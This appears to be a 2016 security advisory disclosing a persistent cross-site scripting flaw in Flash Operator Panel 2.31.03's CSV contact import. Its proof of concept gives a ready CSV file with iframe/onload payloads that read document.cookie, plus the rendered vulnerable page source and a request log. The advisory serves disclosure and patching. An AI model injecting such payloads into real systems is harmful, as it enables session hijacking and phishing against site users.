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[FD] Flash Operator Panel 2.31.03 - CSV Persistent Vulnerability

Document Title:
Flash Operator Panel 2.31.03 - CSV Persistent Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
The most comprehensive and affordable reporting and realtime monitor package for Asterisk© based Call Centers. 
A new approach on getting CDR reports for your phone system, centered on the user and call direction. Top lists, 
Usage pattern and real time view are included. This version works under any Linux flavor (i386, x86_64 and R-Pi3). 
Versions 1.2, 1.4, 1.6, 1.8, 10, 11 and 12 with the manager interface enabled to asterisk. PHP 5 & MySQL 5: only 
required for the visual phonebook, call history and recordings interface.

(Copy of the Vendor Homepage: https://www.fop2.com/index.php )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a script code inject web vulnerability in the official Flash Operator Panel v2.31.03.

Vulnerability Disclosure Timeline:
2016-10-05:	Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Nicolas Gudino (Asternic)
Product: Flash Operator Panel 2 - User Control Panel (Web-Application) CentOS 2.31.03, Debian 2.31.03 & RPI-ARM 2.30.03

Exploitation Technique:

Severity Level:

Technical Details & Description:
A script code inject and cross site web vulnerability has been discovered in the Flash Operator Panel v2.31.03.
The issue allows an attacker to inject own malicious script code to the application-side of the vulnerable module.

The vulnerability is located in all the csv file contact input parameters. Remote attackers are able to generate a malicious 
csv contact file with malicious included script code to manipulate the contacts module on import. The attack requires the 
exchange of the contacts csv file during the import/export. The encode of the import and export is insecure performed, thus 
results in a persistent execution in the contacts module of the fop2 user control panel. The request method to inject is POST 
and the attack vector is located on the application-side of the web-application. The execute occurs each time the admin visits 
the main contacts module via settings.

The security risk of the issue is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. 
Exploitation of the vulnerability requires a low privileged web-application user account and no user interaction. 
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent 
external redirect to malicious sources and persistent manipulation of affected or connected web module context.

Request Method(s):
				[+] POST

Vulnerable Modul(s):
				[+] Contacts - Import CSV

Vulnerable Parameter(s):
				[+] id
				[+] firstname
				[+] lastname
				[+] company
				[+] address
				[+] phone1
				[+] phone2
				[+] email
				[+] picture

Proof of Concept (PoC):
The script code inject web vulnerability can be exploited by the local import function of the web-application with local user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploit (.csv)
PoC: Visual_Phonebook.csv
1,">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe>  
",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe>  
",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe>  
",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>""<iframe>  
",contacts_file AT gmail.com,">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <
>%20>""<iframe>  ",">""<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>"
"<iframe>  ",1-picture.png
2,test 2,test 2,test 2,test 2,test 2,test 2,test 2,2-picture.png

PoC: Vulnerable Source
<div id="records"><div class="jscroll-inner"><ul class="list-group" id="contact-list" 
style="margin:0;"> <li class="list-group-item chat"><h2 class="initial">&gt;</h2></li>
<li class="list-group-item chat" style="padding:5px 1px 5px 1px;" id="contact1">
<div class="col-xs-4 col-sm-3 nopad">
<div class="avatar icon-user-default">&nbsp;</div>      </div>
<div class="col-xs-8 col-sm-9 nopad" style="padding-left:10px;">
<span class="name nopadding searchit">&gt;"<iframe src="http://www.vulnerability-lab.com"; onl="">
"<iframe src=http://www.vulnerability-lab.com onl</span><br/>
<span class='company searchit'>>"<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>"<iframe>  </span><br/>
<div class='col-xs-12 col-sm-12 text-right'><span class='fa fa-map-marker text-muted c-info' 
data-toggle='tooltip' title='>"<iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie) <>%20>"<iframe>  
'></span><a href='#' onclick='parent.dial("")'><span class='fa fa-phone text-muted c-info' 
data-toggle='tooltip' title='>"<iframe src=http://www.vulnerability-lab.com onl'></span></a><a href='#' 
onclick='parent.dial("")'><span class='fa fa-phone text-muted c-info' data-toggle='tooltip' 
title='>"<iframe src=http://www.vulnerability-lab.com onl'></span></a><a href='mailto:contacts_file AT gmail.com'>
<span class='fa fa-envelope-o text-muted c-info' data-toggle='tooltip' title='contacts_file AT gmail.com'></span></a>
<div class='editlink'><a href='?action=edit&id=1' class='label label-default'>Item bewerken</a></div>
<div class='clearfix'></div>
</li> <li class='list-group-item chat'><h2 class='initial'>A</h2></li><li class='list-group-item chat' 
style='padding:5px 1px 5px 1px;' id='contact3'><div class='col-xs-4 col-sm-3 nopad'>
<div class='avatar icon-user-default'>&nbsp;</div></div>

--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://fop2.localhost:8080/fop2/x[SCRIPT CODE EXECUTE VIA CONTACTS]
Mime Type[text/html]
   Request Header:
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept-Encoding[gzip, deflate]
   Response Header:
      Server[Apache/2.2.15 (CentOS)]
      Content-Type[text/html; charset=iso-8859-1]


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse of the contact context parameters on import.
Filter and parse as well the output location were the execution point occurs and disallow special chars to prevent the execute.

Security Risk:
The security risk of the csv file contacts script code inject vulnerability in the web-application is estimated as medium. (CVSS 3.6)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)

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